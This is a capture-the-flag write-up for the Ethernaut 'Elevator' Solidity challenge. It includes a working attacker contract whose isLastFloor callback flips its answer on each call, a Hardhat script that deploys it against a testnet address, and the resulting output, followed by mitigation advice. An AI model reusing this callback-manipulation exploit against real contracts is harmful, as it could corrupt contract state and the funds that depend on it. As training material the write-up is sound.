Ethernaut #11 Elevator
Elevator
Challenge
This elevator won’t let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This
Elevator
expects to be used from aBuilding
.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Background
This is a very simple attack. We need to keep in mind that as long as we follow the Building
interface
then the Elevator
can interact with our contract. However, since the Building
contract is under the attackers control, there is no limit regarding what else the contract can do.
Attack
Create a contract that satisfies the the Building
interface
but flips its response each time. Make sure that isLastFloor
will respond false
the first time, and true
the second. This will make the first call that checks if its the top floor say its not, and the second that sets the top
variable say it is.
- Create a contract that implements
isLastFloor
but returnsfalse
the first time andtrue
the second - Call the
goTo
function through the attacker controlled contract
ElevatorSolve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;
import '../challenges/Elevator.sol';
contract ElevatorSolve {
Elevator elevatorContract;
bool lastFloor;
constructor(address payable _elevatorAddress) public {
elevatorContract = Elevator(_elevatorAddress);
lastFloor = true;
}
function isLastFloor(uint) external returns (bool) {
lastFloor = !lastFloor;
return lastFloor;
}
function goTo (uint _floor) public {
elevatorContract.goTo(_floor);
}
}
elevator-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
elevatorAddress = "0xe8cAdc8eA3A2D55907409cc18a3bB4a71f356379";
contract = await ethers.getContractAt("Elevator", elevatorAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
ElevatorSolve = await ethers.getContractFactory("ElevatorSolve");
elevatorSolve = await ElevatorSolve.deploy(contract.address);
await elevatorSolve.deployed();
console.log("Initial Floor: " + await contract.floor())
console.log("Initial Top : " + await contract.top())
// call the goTo function to trigger the attack
tx = await elevatorSolve.connect(account).goTo(2)
receipt = await tx.wait()
console.log("Floor : " + await contract.floor())
console.log("Top : " + await contract.top())
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/elevator-solve.js --network rinkeby
Initial Floor: 0
Initial Top : false
Floor : 2
Top : true
Success Message
You can use the view
function modifier on an interface in order to prevent state modifications. The pure
modifier also prevents functions from modifying the state. Make sure you read Solidity’s documentation and learn its caveats.
An alternative way to solve this level is to build a view function which returns different results depends on input data but don’t modify state, e.g. gasleft()
.